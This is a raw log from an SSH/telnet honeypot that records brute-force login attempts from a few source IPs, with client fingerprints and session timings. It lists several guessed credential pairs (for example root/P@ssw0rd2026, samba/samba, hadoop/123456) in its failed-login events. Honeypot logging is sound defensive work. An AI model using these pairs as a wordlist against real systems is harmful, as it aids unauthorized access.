{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:14.731407Z","src_ip":"192.109.200.78","session":"31e81edf8b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:14.983577Z","src_ip":"192.109.200.78","session":"31e81edf8b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:16.068060Z","src_ip":"192.109.200.78","session":"31e81edf8b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57338,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a131a787b0e","protocol":"ssh","message":"New connection: 176.65.139.95:57338 (159.203.135.109:22) [session: 7a131a787b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:16.896466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:16.904461Z","src_ip":"176.65.139.95","session":"7a131a787b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:16.998576Z","src_ip":"176.65.139.95","session":"7a131a787b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:17.415755Z","src_ip":"176.65.139.95","session":"7a131a787b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42622,"dst_ip":"159.203.135.109","dst_port":22,"session":"57e8c603d57e","protocol":"ssh","message":"New connection: 192.109.200.78:42622 (159.203.135.109:22) [session: 57e8c603d57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:18.716631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:18.720751Z","src_ip":"192.109.200.78","session":"57e8c603d57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:18.725657Z","src_ip":"176.65.139.95","session":"7a131a787b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:18.804128Z","src_ip":"192.109.200.78","session":"57e8c603d57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:19.050528Z","src_ip":"192.109.200.78","session":"57e8c603d57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:20.189445Z","src_ip":"192.109.200.78","session":"57e8c603d57e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42650,"dst_ip":"159.203.135.109","dst_port":22,"session":"46e821834ab7","protocol":"ssh","message":"New connection: 192.109.200.78:42650 (159.203.135.109:22) [session: 46e821834ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:22.877870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:22.882390Z","src_ip":"192.109.200.78","session":"46e821834ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:23.023611Z","src_ip":"192.109.200.78","session":"46e821834ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:23.445795Z","src_ip":"192.109.200.78","session":"46e821834ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40242,"dst_ip":"159.203.135.109","dst_port":22,"session":"87cae4c8e0bb","protocol":"ssh","message":"New connection: 176.65.139.95:40242 (159.203.135.109:22) [session: 87cae4c8e0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:24.024345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:24.028648Z","src_ip":"176.65.139.95","session":"87cae4c8e0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:24.110343Z","src_ip":"176.65.139.95","session":"87cae4c8e0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:24.532948Z","src_ip":"192.109.200.78","session":"46e821834ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:24.786157Z","src_ip":"176.65.139.95","session":"87cae4c8e0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:25.881269Z","src_ip":"176.65.139.95","session":"87cae4c8e0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42672,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7eeb32c6c90","protocol":"ssh","message":"New connection: 192.109.200.78:42672 (159.203.135.109:22) [session: e7eeb32c6c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:27.144392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:27.148711Z","src_ip":"192.109.200.78","session":"e7eeb32c6c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:27.235153Z","src_ip":"192.109.200.78","session":"e7eeb32c6c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:27.494296Z","src_ip":"192.109.200.78","session":"e7eeb32c6c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:28.584207Z","src_ip":"192.109.200.78","session":"e7eeb32c6c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.804296255111694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:28.783267Z","src_ip":"194.247.164.234","session":"551f09f46623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7915518283844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:28.789510Z","src_ip":"194.247.164.234","session":"2adf98d43d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653168439865112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:29.751471Z","src_ip":"194.247.164.234","session":"9299e8acc53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812800407409668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:30.797127Z","src_ip":"194.247.164.234","session":"c76fdbb2ca95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897794723510742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:30.862756Z","src_ip":"194.247.164.234","session":"11168e0c9d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55390,"dst_ip":"159.203.135.109","dst_port":22,"session":"a02a9ec0d8cc","protocol":"ssh","message":"New connection: 192.109.200.78:55390 (159.203.135.109:22) [session: a02a9ec0d8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.169610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.174750Z","src_ip":"192.109.200.78","session":"a02a9ec0d8cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.256559Z","src_ip":"192.109.200.78","session":"a02a9ec0d8cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.508137Z","src_ip":"192.109.200.78","session":"a02a9ec0d8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38516,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eeb2b19382e","protocol":"ssh","message":"New connection: 176.65.139.95:38516 (159.203.135.109:22) [session: 0eeb2b19382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.666842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.672096Z","src_ip":"176.65.139.95","session":"0eeb2b19382e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.758384Z","src_ip":"176.65.139.95","session":"0eeb2b19382e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753960847854614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:31.821307Z","src_ip":"194.247.164.234","session":"715b0765a687","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:32.013140Z","src_ip":"176.65.139.95","session":"0eeb2b19382e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:32.755056Z","src_ip":"192.109.200.78","session":"a02a9ec0d8cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:33.099609Z","src_ip":"176.65.139.95","session":"0eeb2b19382e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.619376182556152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:34.766810Z","src_ip":"194.247.164.234","session":"c3c0a78e74fa","protocol":"telnet"}
